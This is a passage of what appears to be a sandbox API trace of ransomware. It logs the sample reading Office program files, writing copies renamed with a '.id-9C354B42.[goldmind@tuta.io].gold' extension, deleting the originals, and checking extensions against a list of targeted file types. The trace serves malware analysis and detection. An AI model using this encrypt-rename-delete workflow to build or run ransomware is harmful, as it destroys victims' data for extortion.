dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.814] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=63864) returned 1 [0111.815] CloseHandle (hObject=0x394) returned 1 [0111.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 0x20 [0111.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.954] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.954] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.980] GetLastError () returned 0x0 [0111.980] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xf978, lpOverlapped=0x0) returned 1 [0112.012] WriteFile (in: hFile=0x380, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf980, lpOverlapped=0x0) returned 1 [0112.014] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.014] WriteFile (in: hFile=0x380, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0112.014] SetEndOfFile (hFile=0x380) returned 1 [0112.014] CloseHandle (hObject=0x380) returned 1 [0112.014] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.014] SetEndOfFile (hFile=0x3e0) returned 1 [0112.016] CloseHandle (hObject=0x3e0) returned 1 [0112.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 1 [0112.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.026] lstrlenW (lpString=".doc") returned 4 [0112.026] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0112.026] lstrlenW (lpString=".docx") returned 5 [0112.026] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0112.026] lstrlenW (lpString=".pdf") returned 4 [0112.026] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0112.026] lstrlenW (lpString=".xls") returned 4 [0112.026] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0112.026] lstrlenW (lpString=".xlsx") returned 5 [0112.026] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0112.026] lstrlenW (lpString=".ppt") returned 4 [0112.026] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0112.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.026] lstrlenW (lpString=".zip") returned 4 [0112.026] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0112.026] lstrlenW (lpString=".rar") returned 4 [0112.026] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0112.026] lstrlenW (lpString=".bz2") returned 4 [0112.026] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0112.026] lstrlenW (lpString=".7z") returned 3 [0112.026] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0112.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.026] lstrlenW (lpString=".dbf") returned 4 [0112.026] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0112.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.026] lstrlenW (lpString=".1cd") returned 4 [0112.026] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0112.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.027] lstrlenW (lpString=".jpg") returned 4 [0112.027] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.027] lstrlenW (lpString=".doc") returned 4 [0112.027] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString=".docx") returned 5 [0112.027] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0112.027] lstrlenW (lpString=".pdf") returned 4 [0112.027] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString=".xls") returned 4 [0112.027] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0112.027] lstrlenW (lpString=".xlsx") returned 5 [0112.027] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0112.027] lstrlenW (lpString=".ppt") returned 4 [0112.027] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.027] lstrlenW (lpString=".zip") returned 4 [0112.027] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0112.027] lstrlenW (lpString=".rar") returned 4 [0112.027] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString=".bz2") returned 4 [0112.027] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString=".7z") returned 3 [0112.027] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0112.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.027] lstrlenW (lpString=".dbf") returned 4 [0112.027] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.027] lstrlenW (lpString=".1cd") returned 4 [0112.027] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0112.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0112.027] lstrlenW (lpString=".jpg") returned 4 [0112.027] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0112.027] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0112.027] lstrlenW (lpString="EntityPicker.dll") returned 16 [0112.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.028] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=268672) returned 1 [0112.028] CloseHandle (hObject=0x3d8) returned 1 [0112.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll")) returned 0x20 [0112.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.028] lstrlenW (lpString=".doc") returned 4 [0112.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0112.028] lstrlenW (lpString=".docx") returned 5 [0112.028] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0112.028] lstrlenW (lpString=".pdf") returned 4 [0112.029] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".xls") returned 4 [0112.029] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".xlsx") returned 5 [0112.029] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0112.029] lstrlenW (lpString=".ppt") returned 4 [0112.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString=".zip") returned 4 [0112.029] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".rar") returned 4 [0112.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".bz2") returned 4 [0112.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0112.029] lstrlenW (lpString=".7z") returned 3 [0112.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString=".dbf") returned 4 [0112.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString=".1cd") returned 4 [0112.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString=".jpg") returned 4 [0112.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString=".doc") returned 4 [0112.029] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".docx") returned 5 [0112.029] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0112.029] lstrlenW (lpString=".pdf") returned 4 [0112.029] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".xls") returned 4 [0112.029] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".xlsx") returned 5 [0112.029] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0112.029] lstrlenW (lpString=".ppt") returned 4 [0112.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString=".zip") returned 4 [0112.029] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".rar") returned 4 [0112.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0112.029] lstrlenW (lpString=".bz2") returned 4 [0112.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0112.029] lstrlenW (lpString=".7z") returned 3 [0112.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.029] lstrlenW (lpString=".dbf") returned 4 [0112.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0112.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.030] lstrlenW (lpString=".1cd") returned 4 [0112.030] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0112.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0112.030] lstrlenW (lpString=".jpg") returned 4 [0112.030] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0112.030] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0112.030] lstrlenW (lpString="ENVELOPE.DLL") returned 12 [0112.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.030] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=219520) returned 1 [0112.030] CloseHandle (hObject=0x3d8) returned 1 [0112.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll")) returned 0x20 [0112.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString=".doc") returned 4 [0112.031] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString=".docx") returned 5 [0112.031] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0112.031] lstrlenW (lpString=".pdf") returned 4 [0112.031] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString=".xls") returned 4 [0112.031] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString=".xlsx") returned 5 [0112.031] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0112.031] lstrlenW (lpString=".ppt") returned 4 [0112.031] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString=".zip") returned 4 [0112.031] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString=".rar") returned 4 [0112.031] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString=".bz2") returned 4 [0112.031] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.031] lstrlenW (lpString=".7z") returned 3 [0112.031] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString=".dbf") returned 4 [0112.031] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString=".1cd") returned 4 [0112.031] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString=".jpg") returned 4 [0112.031] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.031] lstrlenW (lpString=".doc") returned 4 [0112.031] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString=".docx") returned 5 [0112.031] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0112.031] lstrlenW (lpString=".pdf") returned 4 [0112.031] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.031] lstrlenW (lpString=".xls") returned 4 [0112.031] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.032] lstrlenW (lpString=".xlsx") returned 5 [0112.032] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0112.032] lstrlenW (lpString=".ppt") returned 4 [0112.032] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.032] lstrlenW (lpString=".zip") returned 4 [0112.032] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.032] lstrlenW (lpString=".rar") returned 4 [0112.032] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.032] lstrlenW (lpString=".bz2") returned 4 [0112.032] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.032] lstrlenW (lpString=".7z") returned 3 [0112.032] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.032] lstrlenW (lpString=".dbf") returned 4 [0112.032] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.032] lstrlenW (lpString=".1cd") returned 4 [0112.032] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0112.032] lstrlenW (lpString=".jpg") returned 4 [0112.032] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.032] lstrcmpiW (lpString1=".ADD", lpString2=".gold") returned -1 [0112.032] lstrlenW (lpString="ERXIMP.ADD") returned 10 [0112.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.033] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=85920) returned 1 [0112.033] CloseHandle (hObject=0x3d8) returned 1 [0112.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 0x20 [0112.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.033] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.033] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.034] GetLastError () returned 0x0 [0112.034] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x14fa0, lpOverlapped=0x0) returned 1 [0112.046] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x14fb0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x14fb0, lpOverlapped=0x0) returned 1 [0112.047] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.047] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0112.048] SetEndOfFile (hFile=0x3c8) returned 1 [0112.048] CloseHandle (hObject=0x3c8) returned 1 [0112.048] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.048] SetEndOfFile (hFile=0x3d8) returned 1 [0112.050] CloseHandle (hObject=0x3d8) returned 1 [0112.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 1 [0112.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.080] lstrlenW (lpString=".doc") returned 4 [0112.080] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0112.080] lstrlenW (lpString=".docx") returned 5 [0112.080] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0112.080] lstrlenW (lpString=".pdf") returned 4 [0112.080] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0112.080] lstrlenW (lpString=".xls") returned 4 [0112.080] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0112.080] lstrlenW (lpString=".xlsx") returned 5 [0112.080] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0112.080] lstrlenW (lpString=".ppt") returned 4 [0112.080] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0112.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".zip") returned 4 [0112.081] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".rar") returned 4 [0112.081] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".bz2") returned 4 [0112.081] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".7z") returned 3 [0112.081] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".dbf") returned 4 [0112.081] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".1cd") returned 4 [0112.081] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".jpg") returned 4 [0112.081] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".doc") returned 4 [0112.081] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".docx") returned 5 [0112.081] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0112.081] lstrlenW (lpString=".pdf") returned 4 [0112.081] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".xls") returned 4 [0112.081] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".xlsx") returned 5 [0112.081] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0112.081] lstrlenW (lpString=".ppt") returned 4 [0112.081] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".zip") returned 4 [0112.081] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".rar") returned 4 [0112.081] lstrcmpiW 